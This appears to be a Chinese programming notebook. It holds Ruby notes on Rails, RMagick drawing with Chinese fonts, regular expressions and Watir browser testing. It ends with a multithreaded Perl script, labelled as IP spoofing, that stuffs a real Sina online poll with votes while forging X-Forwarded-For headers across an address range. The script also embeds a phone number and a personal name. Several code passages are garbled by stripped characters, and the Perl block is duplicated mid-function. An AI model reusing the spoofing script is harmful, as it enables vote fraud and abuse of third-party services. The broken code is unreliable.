undefined method `count’ for Array
[1,2,3,4].count you should get an undefined method error
Production:
script/console production
Loading production environment (Rails 2.1.0)
>> User.all.class
=> Array
>> User.find(:all).class
=> Array
>> User.find(:all).count
NoMethodError: undefined method `count’ for #
from (irb):3
Development:
script/console
Loading development environment (Rails 2.1.0)
>> User.all.class
=> Array
>> User.find(:all).class
=> Array
>> User.find(:all).count
=> 2
有时就是会报错,so 可以改成User.find(:all).length
ruby的RMagick使用很简单很强大
http://www.imagemagick.org/RMagick/doc/
rmagick 给图片添加红线,很简单吧
require 'rubygems'
require 'RMagick'
imgl = Magick::Image.read(”affineok102.gif”).first
max_y = imgl.rows
max_x = imgl.columns
select_gc = Magick::Draw.new
select_gc.stroke(’red’)
select_gc.stroke_width(2)
select_gc.line(10,max_y-60,140,max_y-60)
select_gc.draw(imgl)
imgl.border!(1, 1, “lightcyan2″)
imgl.write(”sss.gif”)
1)定义主要对象
使用RMagick,重要会用到两个对象:Image和Draw。这两个对象可以形象的理解为:Image对象相当于画布,Draw对象相当于画笔。
为方便以下说明,我这样定义这两个对象:
ruby 代码
1. require ‘rmagick’ //千万别忘了在文件开头加上这段代码
2. canvas = Magick::Image.new(width,height,Magick::HatchFill.new(bg_color,bg_color))
3. gc = Magick::Draw.new
参数说明:Image对象定义的前两个参数是定义图片的宽和高,后门一个定义图片的背景(可选),默认为白色。
要读取一个存在的图片,Image对象还有如下定义方式:
ruby 代码
1. img=Magick::Image.read(image_path).first //image_path是字符串形式的图片路径
2. Image对象定义后,根据img.rows和img.columns可以获得它的高度和宽度。
(2)对象使用方法
gc对象的主要功能有:在图片上写字,在图片上画线,把另一张图片组合到当前图片上。下面我主要说两个问题:
在图片上写中文:
主要有两个方法gc.text,gc.annotate 相关参数可以在gotapi上轻松查到。用这两个方法写系统自带的英文字体是非常方便的,gc.font,gc.font_family可以设置字体,还可以通过gc. font_style, gc.font_weight来设置斜体和粗体,它们的参数是类似Magick::ItalicStyle、Magick::NormalStyle、 Magick::BoldWeight、Magick::LighterWeight这样的常量。当然还有gc.pointsize来设置字体大小,这个对于中英文是通用的。
我这里主要对写中文字体做一些介绍。由于RMagick对中文支持不好,当时使用它写中文的时候默认情况下只发现了黑体可以使用(当然是在我的 windows平台下)。因为我们图片处理需要提供多种字体来写字,还考虑到发布环境在linux下,所以我们用了这样的方法:从Windows的字体文件夹c:/windows/fonts下拷贝出中文字体库到自己的工程目录中,然后通过设置gc.font来使用它们。下面是我的例子:
ruby 代码
1. require ‘RMagick’
2.
3. img = Magick::Image.new(200,200,Magick::HatchFill.new(’green’,'green’))
4.
5. gc = Magick::Draw.new
6. gc.stroke(’transparent’)
7. gc.pointsize(24)
8. gc.font(”fonts/STCAIYUN.TTF”)
9. gc.text(20,40, ‘我爱你啊’)
10.
11. gc.font(”fonts/STXINWEI.TTF”)
12. gc.text(20,70, ‘我爱你啊’)
13.
14. gc.fill(’white’)
15. gc.font(”fonts/FZSTK.TTF”)
16. gc.text(20,100, ‘我爱你啊’)
17.
18. gc.font(”fonts/simhei.ttf”)
19. gc.text(20,130, ‘我爱你啊’)
20.
21. gc.font(”fonts/yihejianti.TTF”)
22. gc.text(20,160, ‘我爱你啊’)
23.
24. gc.draw(img)
25. img.write(’love.jpg’)
运行结果:
附件图片love1.jpg
说明:如果你想保存并运行这段代码,请保存为UTF-8的格式,否则会乱码,还要保证你当前文件的fonts目录下有这些ttf字库文件。
这里还要强调的是,在写字的时候一定要设置gc.stroke(’transparent’)。尽管gc.stroke最开始默认的是 transparent,但我还是建议在每次写字之前设置一次,否则如果在之前使用过gc.stroke并且设置了非transparent的值,那么写出来的字会是下面这样的(我把transparent换成了red)
附件图片love2.jpg
当然,如果你想要达到这种效果则另当别论了。如果你想要写出更多的中文字体,那就去下载更多的字体库就可以了,是不是很简单?
我现在还有一个问题没有解决:不知道哪里可以下载中文字体的粗体斜体字库(如黑体,宋体,隶书、楷体等),麻烦知道的朋友告之,我的邮箱zhangxiaoyao067, gmail.com
继续罗嗦一点:对字体的设置有gc.font(ttf_file)和gc.font=ttf_file这两种方式,它们的区别在什么地方呢?还是用上面那个例子来说明。如果其中所有的gc.font(ttf_file)换成gc.font=ttf_file,那么最后的结果会是
附件图片love3.jpg
看明白了吧?也就是用“=”的时候,只有最后一个起作用。
图片裁剪:
还是用代码来说明吧
ruby 代码
1. gc.define_clip_path(’clip_pic’){
2. gc.stroke_width(0)
3. gc.rectangle(lefttop_x,lefttop_y,rightbottom_x,rightbottom_y)}
4. gc.push
5. gc.clip_path(’clip_pic’)
6. gc.composite(x, y, width, height,Magick::Image.read(myImageUrl))
7. gc.pop
说明:首先要定义一个裁剪区域,这里我定义了一个矩形区域,然后是应用。只有在裁剪区域内部的图片才会画到画布上面。这里要注意的是gc.push, gc.pop,因为gc.clip_path的裁剪会应用在gc的整个存活期内部,因此gc.draw的所有内容都会限制在这个裁剪区域内部。这两个操作相当于对裁剪应用的释放。
ok,暂时写这么多吧.
http://www.imagemagick.org/RMagick/doc/
我作的坐标图,很酷
class Disordertu2
def self.distu(disorder,tmhmm,teyi,pfam,hydoca)
seqlength = disorder.length
require 'rubygems'
require 'RMagick'
# Demonstrate the affine primitive. Transform the
# coordinate space to put the origin in the lower
# left corner.
imgl = Magick::ImageList.new
imgl.new_image seqlength+20, 300, Magick::HatchFill.new('white','lightcyan2')
gc = Magick::Draw.new
max_x = imgl.columns
max_y = imgl.rows
# Translate the y origin to the bottom of the window.
# Invert the y points by scaling by -1. Combine the
# two operations using the affine method. That is, the
# affine method is equivalent to:
# gc.translate 0, max_y
# gc.scale 1, -1
gc.affine(1, 0, 0, -1, 0, max_y)
gc.stroke('gray50')
gc.fill('gray50')
gc.stroke_width(1)
# Draw up-pointing arrow.
gc.polyline(10, 20, 10, max_y-20, 5, max_y-25, 15, max_y-25, 10, max_y-20)
# Draw right-pointing arrow
gc.polyline(10, 20, max_x-10, 20, max_x-15, 15, max_x-15, 25, max_x-10, 20)
gc.line(10,max_y/2,max_x-10,max_y/2)
gc.draw(imgl)
# Add labels. Use a different graphics context with a "normal"
# coordinate system so the text isn't inverted.
text_gc = Magick::Draw.new
text_gc.pointsize(10)
text_gc.font_weight(Magick::NormalWeight)
text_gc.stroke('transparent')
text_gc.text(10, max_y-10, "'0'")
#text_gc.text(max_x-20, max_y-16, "'Position'")
text_gc.text(max_x/2-50, 15, "'ABmart antibody analysis'")
text_gc.text(10, max_y/2, "'0.5'")
text_gc.draw(imgl)
text_gc = Magick::Draw.new
text_gc.pointsize(8)
text_gc.font_weight(Magick::NormalWeight)
#position location 10-280
(10..max_x-10).each{|position|
if position % 20 == 0
text_gc.text(10+position, max_y-22, "|")
text_gc.text(10+position-5, max_y-10, "#{position}")
end
}
text_gc.draw(imgl)
#线disorder
points = Array.new
(0..disorder.length-1).each{|dian|
#point_gc.point(10+dian+1, max_y-20 - disorder[dian].to_f*260)
#point_gc.polyline(10+dian+1, max_y-20 - disorder[dian].to_f*260)
points << 10+dian+1
points << max_y-20 - disorder[dian].to_f*260
}
line_gc = Magick::Draw.new
line_gc.stroke('blue').stroke_width(1)
line_gc.fill_opacity(0)
line_gc.polyline(*points)
line_gc.draw(imgl)
#teyi
points2 = Array.new
(0..teyi.length-1).each{|dian|
#point_gc.point(10+dian+1, max_y-20 - disorder[dian].to_f*260)
#point_gc.polyline(10+dian+1, max_y-20 - disorder[dian].to_f*260)
points2 << 10+dian+1
points2 < 1
pfam.each_slice(2) do |slice|
line_gc.stroke('limegreen')
line_gc.stroke_width(20)
line_gc.opacity('70%')
line_gc.line(slice[0],max_y/2,slice[1],max_y/2)
end
line_gc.draw(imgl)
end
=begin
#短肽
nshort = 1
short.each{|mshort|
weizhishort = mshort[0].to_f/2.0
hou = mshort[1]/2.0 + weizhishort
# Draw 10-pixel wide line 短肽
gc.stroke('GreenYellow')
gc.stroke_width(20)
gc.line(weizhishort,max_y/2,hou,max_y/2)
# Annotate 第一行字
gc.fill('black')
gc.stroke('transparent')
gc.text(weizhishort,45,"P#{nshort}:#{mshort[0]}")
nshort += 1
}
=end
#2线tmhmm
points2 = Array.new
(0..tmhmm.length-1).each{|dian|
#point_gc.point(10+dian+1, max_y-20 - disorder[dian].to_f*260)
#point_gc.polyline(10+dian+1, max_y-20 - disorder[dian].to_f*260)
points2 << 10+dian+1
points2 < 0.0
hydoca_gc.stroke('Sea Green')
hydoca_gc.opacity('70%')
hydoca_gc.stroke_width(1)
hydoca_gc.line(10+hynumber,max_y-60,10+hynumber,max_y-60-amino*6.0)
else
hydoca_gc.stroke('Crimson')
hydoca_gc.opacity('70%')
hydoca_gc.stroke_width(1)
hydoca_gc.line(10+hynumber,max_y-60,10+hynumber,max_y-60-amino*6.0)
end
hynumber += 1
}
hydoca_gc.draw(imgl)
#选择片段
=begin
select_gc = Magick::Draw.new
select_gc.stroke('red')
select_gc.stroke_width(2)
select_gc.line(10,max_y-60,140,max_y-60)
select_gc.line(40,max_y-40,140,max_y-40)
select_gc.line(40,max_y-80,140,max_y-80)
select_gc.draw(imgl)
=end
imgl.border!(1, 1, "lightcyan2")
#rand(100).to_s
imgl.write("./public/images/affineok95.gif")
return ""
end
end
ruby 这么得到匹配的个数
a =”12hghj12 123 h hj kjhh kjhj1212121212hjkh lk12hjg”
b = a.scan(/12/).count
puts b
正则表达式 任意字符(包括换行符、空白符号等)
任意字符(包括换行符、空白符号等)的正则表达式:
[\s\S]*
它的意思是任意空白字符和非空白字符。同理,也可以用 “[\d\D]*”、“[\w\W]*” 来表示
Tioga: Plotting using Ruby, PDF, and TeX
Tioga: Plotting using Ruby, PDF, and TeX
http://www.itp.ucsb.edu/~paxton/tioga.html
http://tioga.rubyforge.org/
Here are a few examples made using Tioga. The tutorial has lots more, with discussions of the code that makes them.
And just as an appetizer, here is an MPEG4 movie made using Tioga plots from EZ, my stellar evolution program: Entropy Profile (7MB) If you need to get a viewer for MPEG4 on Linux, Michael Richmond tells me that “mplayer” works well for him. It can be downloaded here.
ruby 每次迭代了两个怎么写?
[1,2,3,4,5,6].each_slice(2) do |slice|
print slice[0] , “,” , slice[1] , “\n”
end
在:ruby 1.8.6 (2007-09-24 patchlevel 111) [x86_64-linux]报错
undefined method `each_slice’ for :Array
加上这个就可以了:require ‘enumerator’
但是在ruby 1.8.7 (2008-08-11 patchlevel 72) [x86_64-linux]下没有问题
a = [1,1,1,2,2,2,3,3,3]
a.each(3) do |x,y,z|
print x,y,z,”\n”
end
ruby奇怪的问题
[code="ruby"]a=[2,3,4,5,12,31,45,7,8,2,345,567,85,234,56,77,89,135,653]
b= Array.new
b[0]= a[0]
(1..a.length-1).each{|weizhi|
number = 0
b.each{|mei|
if (mei.to_i - a[weizhi].to_i).abs > 20
number += 1
end
}
if number == b.length
b << a[weizhi]
end
}
puts b
[/code]
为什么输出b:
2
31
45
345
567
85
234
77
89
135
653
为什么会有31,45 和77,89呢?他们之间的绝对差小于20阿
我就是要安装a数组的顺序,筛选出他们任意之间的绝对差都大于20的
哈哈哈刚刚写错了,现在好了
这样写结果更好:
a = [2,3,4,5,12,31,45,7,8,2,345,567,85,234,56,77,89,135,653]
b= [a[0]]
a.each do |aElem|
failed = false
b.each do |bElem|
unless (bElem - aElem).abs > 20
failed = true
break
end
end
b << aElem unless failed
end
puts b
ruby 正在表达式传递参数
a = “abcd”
name = Regexp.new(”f”)
puts “ok” if a =~ name
正则表达式历史悠久,功能强大,现代编程语言中少不了它的影子,但功能强度不大一样。Ruby把正则表达式在自身发挥的淋漓尽致 。
刚学习正则表达式,看起来会觉得语法比较晦涩,等上手了呢,就会明白它的精髓。在这里,也不细讲正则表达式的语法问题了,只讲它在ruby中的使用。在ruby中,一个通常的正则表达式会是例如如下样子的:
/Ruby/
/[Rr]uby/
%r{xyz$}
%|[0-9]*|
等等…
而在ruby中,正则表达式有4种修饰符:
i 忽略大小写
o 只执行一次替换操作
m 多行匹配
x 使用扩展了的正则表达式语法(可以使用正则表达式的注释之类)
编译正则表达式
=========================================
可以使用Regexp.compile方法(和使用Regexp.new是一样的效果)来编译正则表达式。
Regexp.compile方法的第一个参数可以是一个字符串或则是一个正则表达式
(如果是一个正则表达式,并且它后面带了选项,则编译后,选项将不会出现在新的正则表达式中。)
p1 = Regexp.compile(”^foo.*”) # 结果: /^foo.*/
p2 = Regexp.compile(/bar$/i) # 结果:/bar/
如果要设置第二个参数,那么它的值可以是以下几个:
Regexp::EXTENDED
Regexp::IGNORECASE
Regexp::MULTILINE
例如:
p3 = Regexp.compile(/bar/, Regexp::IGNORECASE)
好像报错了:
name = Regexp.compile(’F', Regexp::IGNORECASE)
这样就可以了
你如果你想同时使用他们之中的多个,则可以这样:
options = Regexp::MULTILINE || Regexp::IGNORECASE
pat4 = Regexp.compile(”^foo”, options)
它的第三个参数,是用来设置语言编码的,可以有如下值:
“N” or “n” #表示 None
“E” or “e” #表示 EUC
“S” or “s” #表示 Shift-JIS
“U” or “u” #表示 UTF-8
也可以直接使用正则表达式字面量,不用使用Regexp.compile方法或Regexp.new方法:
p1 = /^foo.*/
p2 = /bar$/i
转义正则表达式中的特殊字符
===========================================
使用Regexp.escape方法(别名方法是Regexp.quote),可以吧正则表达式中的特殊字符统统转义:
str1 = “[*?]”
str2 = Regexp.escape(str1) # “\[\*\?\]”
访问正则表达式匹配后的数据引用
===========================================
在正则表达式中用使用括号的部分将被作为子匹配,有几中方式可以用来获取他们的引用:
1.比较“难看”方式:
使用特殊的全局变量,如:$1,$2….
str = “a123b45c678″
if /(a\d+)(b\d+)(c\d+)/ =~ str
puts “Matches are: ‘#$1′, ‘#$2′, ‘#$3′” # 打印: Matches are: ‘a123′, ‘b45′, ‘c768′
end
我们来看下下面这段程序:
str = “a123b45c678″
str.sub(/(a\d+)(b\d+)(c\d+)/, “1st=#$1, 2nd=#$2, 3rd=#$3″)
# 结果: “1st=, 2nd=, 3rd=”
为什么会结果是空呢?其实,上面的程序等同与下面的程序:
str = “a123b45c678″
s2 = “1st=#$1, 2nd=#$2, 3rd=#$3″
reg = /(a\d+)(b\d+)(c\d+)/
str.sub(reg,s2)
# 结果: “1st=, 2nd=, 3rd=”
看明白了吧。
在这种情况下,我们要使用类似:\1,\2…之类的形式来引用了。
str = “a123b45c678″
str.sub(/(a\d+)(b\d+)(c\d+)/, ‘1st=\1, 2nd=\2, 3rd=\3′)
#注意,要使用单引号,否则会被解释成转义字符,如果用双引号,则要把斜杠转义掉,如:\\1,\\2
# 结果:”1st=a123, 2nd=b45, 3rd=c768″
我们还可以使用Ruby的block来实现上面的功能:
str = “a123b45c678″
str.sub(/(a\d+)(b\d+)(c\d+)/) { “1st=#$1, 2nd=#$2, 3rd=#$3″ }
# 结果: “1st=a123, 2nd=b45, 3rd=c678″
如果你想在匹配的时候跳过一个组的抓取,则可以使用(?: )语法:
str = “a123b45c678″
str.sub(/(a\d+)(?:b\d+)(c\d+)/, “1st=\\1, 2nd=\\2, 3rd=\\3″)
# 结果:”1st=a123, 2nd=c678, 3rd=”
以上的方式看起来很方便,不过,有的人会觉得它们看起来太杂乱,不好看,所以,还有以下方式来获取子匹配的引用:
pat = /(.+[aiu])(.+[aiu])(.+[aiu])(.+[aiu])/i
refs = pat.match(”Fujiyama”)
refs.to_a.each do |x|
print “#{x}\n”
end
match方法将返回一个MatchData对象。
MatchData有begin和end两个方法,用来获取匹配结果在原字符串中的起始和结束位置
str = “alpha beta gamma delta epsilon”
pat = /(b[^ ]+ )(g[^ ]+ )(d[^ ]+ )/
refs = pat.match(str)
# “beta ”
p1 = refs.begin(1) # 6
p2 = refs.end(1) # 11
# “gamma ”
p3 = refs.begin(2) # 11
p4 = refs.end(2) # 17
# “delta ”
p5 = refs.begin(3) # 17
p6 = refs.end(3) # 23
# “beta gamma delta”
p7 = refs.begin(0) # 6
p8 = refs.end(0) # 23
和begin,end方法相似的是offset方法,它返回一个数组,包括了匹配的起始和结束位置:
range0 = refs.offset(0) # [6,23]
range1 = refs.offset(1) # [6,11]
range2 = refs.offset(2) # [11,17]
range3 = refs.offset(3) # [17,23]
还有两个方法,pre_match和post_match,用来获取当前匹配结果的前一个和后一个匹配结果:
before = refs.pre_match # “alpha ”
after = refs.post_match # “epsilon”
watir
开发测试案例(Developing Test Cases)
1.打开编辑器
2.以.rb为你的文件扩展名
3.在测试文件的第一句写上“require ‘watir’”,确保可以访问Watir工具。
4.打开浏览器并转到要测试的应用
5.与之交互并设计你的testcase
6.在测试脚本中使用Watir方法
7.验证结果
与网页交互(Interacting With a Web Page)
当使用Watir开发测试脚本的时候,通过给网页上的对象发送消息来与之交互。
ie.text_field(:name , “q”).set(”bluescorpio”)
ie.button(:value , “Click Me”).click
Watir语法(Watir Syntax)
1.使用Watir工具,需要在脚本中加上
require ‘watir’
2.创建一个IE的测试实例
ie = Watir::IE.new
或者在创建的同时直接转到页面
ie = Watir::IE.start(”http://mytestsite”;)
Watir使用start方法同时创建一个浏览器实例并转到一个页面。
3.页面导航
ie.goto(”http://mytestsite”;)
4.操纵Web页面对象
4.1超链接
4.1.1使用Text属性点击超链接
ie.link(:text , “Pickaxe”).click
对应的HTML代码为:
Pickaxe
4.1.2使用URL属性点击超链接
ie.link(:url , “http://pragmaticprogrammer.com/titles/ruby/”;).click
对应的HTML代码为:
Test Site
4.2复选框
4.2.1使用name属性设置复选框
ie.checkbox(:name, “checkme”).set
4.2.2使用name属性清除复选框
ie.checkbox(:name, “checkme”).clear
4.2.3使用name和value属性设置复选框
ie.checkbox(:name, “checkme”, “1″).set
4.2.4使用name和value属性清除复选框
ie.checkbox(:name, “checkme”, “1″).clear
对应的HTML代码为:
4.3单选框
4.3.1使用name属性设置单选框
ie.radio(:name, “clickme”).set
4.3.2使用name属性清除单选框
ie.radio(:name, “clickme”).clear
4.3.3使用name和id属性设置单选框
ie.radio(:name, “clickme”, “1″).set
4.3.4使用name和id属性清除单选框
ie.radio(:name, “clickme”, “1″).clear
对应的HTML代码为:
4.4下拉框
4.4.1使用name属性和值来设置下拉框
ie.select_list( :name , “selectme”).select(”is fun”)
4.4.2使用name属性和值来清除下拉框
ie.select_list( :name , “selectme”).clearSelection
对应的HTML代码为:
Web Testing in Ruby is fun
4.5在Web页面中输入数据
4.5.1使用文本输入框的那么属性设置输入内容
ie.text_field(:name, “typeinme”).set(”Watir World”)
4.5.2清空文本输入框
ie.text_field(:name, “typeinme”).clear
对应的HTML代码为:
4.6从Web页面上提交数据
4.6.1按钮
4.6.1.1通过值或标题属性点击按钮
ie.button(:value, “Click Me”).click
4.6.1.2通过name属性点击按钮
ie.button(:name, “clickme”).click
对应的HTML代码为:
4.6.2表单
4.6.2.1表单中的按钮
使用value或标题属性
ie.button(:value, “Submit”).click
对应的HTML代码为:
4.6.2.2表单中的图片按钮
使用那么属性
ie.button(:name, “doit”).click
对应的HTML代码为:
4.6.2.3没有按钮的表单
Watir can submit a form by identifying it by its name, action and method attributes.
可以通过name、action以及method属性来提交表单
ie.form(:name, “loginform”).submit
ie.form(:action, “login”).submit
对应的HTML代码为:
4.6.3框架
ie.show_frames可以打印出当前页面框架的数量和名称
Watir允许通过名称属性来访问框架,如ie.frame(”menu”)
如果要访问menu框架中的一个超链接,可以ie.frame(”menu”).link(:text, “Click Menu Item”).click
4.6.4嵌套框架
ie.frame(”frame1″).frame(:name, “nested_frame”)
4.6.5新窗口
一些Web应用会弹出新窗口或打开一个新窗口,可以使用attach方法来访问并控制新窗口。通过标示新窗口的URL或者title来访问。
ie2 = Watir::IE.attach(:url, ‘http://mytestsite’)
ie3 = Watir::IE.attach(:title, ‘Test New Window’)
也可以使用正则表达式
ie4 = Watir::IE.attach(:title, /Test New/)
注意:不要把新窗口分配到你的ie变量,最好给新窗口一个不同的名字
5.验证结果
比较好的方法是在测试案例中假如验证点
5.1对象存在
使用Watir方法contains_text
ie.contains_text(”Reached test verification point.”)
if ie.contains_text(”Reached test verification point.”)
puts: “Test passed. Page contains the text: Reached test verification point.”
else
puts: “Test failed! Page didn’t contain text: Reached test verification point.”
end
5.2使用test::unit Assertions
5.2.1需要test::unit
require ‘test/unit’
5.2.2创建测试实例
class TC_myTest < Test::Unit::TestCase
…fill in Test Case methods here…
end
5.2.3创建测试用例方法
在测试类中,需要声明象下面的方法:
def test_myTestCase
fill in method body with Watir code and assertion here
end
方法必须以test开头,ruby会随机运行测试案例,如果需要顺序执行,需要在test后加上字母或数字来强迫它顺序执行,比如“test_a_mytest”
定义测试方法的类:
class TC_myTest < Test::Unit::TestCase
def test_ myTestCase
Watir code and assertion here…
end
def test_anotherTestCase
Watir code and assertion here…
end
def test_aTestCase
Watir code and assertion here…
end
end
5.2.4使用Assertions
Watir通过在一个asert覆写Watir方法支持assertions。
assert(ie.contains_text(”Reached test verification point.”)
5.2.5Setup and Teardown
def setup
fill in code that will run before every test case here…
end
def teardown
fill in code that will run after every test case here…
end
6.Tips and Tricks
Running Tests With the Browser Not Visible
Run the tests with a “-b” option if you don’t want the browser to be visible. ex. myTest.rb -b
ip伪装
#!/usr/bin/perl -w
use threads;
use threads::shared;
$| = 1;
my $MAX_THREAD_NUMBER = 20;
my $thread_number = 0;
share($thread_number);
sub vote {
my $ip = shift;
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MSIE");
my $res = $ua->post(
'http://ad.gd.sina.com.cn/VoteSys/vote.php?id=484',
{'ITEM1_1' => '加拿大',
'ITEM2_1'=> '广州,重庆,澳门,上海',
'ITEM3_1'=> '3',
'ITEM4_1'=> '摇滚精灵',
'ITEM5_1'=> '没有',
'ITEM6_1'=> '美丽坏东西',
'ITEM7_1'=> '13802427651',
'ITEM8_1'=> '张静',
'VoteID'=>'484'
},
'X-Forwarded-For'=> $ip,
);
# Check the outcome of the response
my $output = "$ip ";
if ($res->is_success) {
print $res->content;
}
else {
print $res->status_line, "\n";
}
{
lock($thread_number);
$thread_number--;
}
}
sub create_thread {
my $ip = shift;
while ( 1 ) {
{
lock($thread_number);
if ( $thread_number create(\&vote, $ip)->detach();
return;
}
}
sleep(1);
}
}
for($j=110;$j<255;$j++)
{
for ($i=1;$inew;
$ua->agent("MSIE");
my $res = $ua->post(
'http://ad.gd.sina.com.cn/VoteSys/vote.php?id=484',
{'ITEM1_1' => '加拿大',
'ITEM2_1'=> '广州,重庆,澳门,上海',
'ITEM3_1'=> '3',
'ITEM4_1'=> '摇滚精灵',
'ITEM5_1'=> '没有',
'ITEM6_1'=> '美丽坏东西',
'ITEM7_1'=> '13802427651',
'ITEM8_1'=> '张静',
'VoteID'=>'484'
},
'X-Forwarded-For'=> $ip,
);
# Check the outcome of the response
my $output = "$ip ";
if ($res->is_success) {
print $res->content;
}
else {
print $res->status_line, "\n";
}
{
lock($thread_number);
$thread_number--;
}
}
sub create_thread {
my $ip = shift;
while ( 1 ) {
{
lock($thread_number);
if ( $thread_number create(\&vote, $ip)->detach();
return;
}
}
sleep(1);
}
}
for($j=110;$j<255;$j++)
{
for ($i=1;$i<255;$i++) {
my $ip = "202.109.$j.$i";
create_thread($ip);
}
}
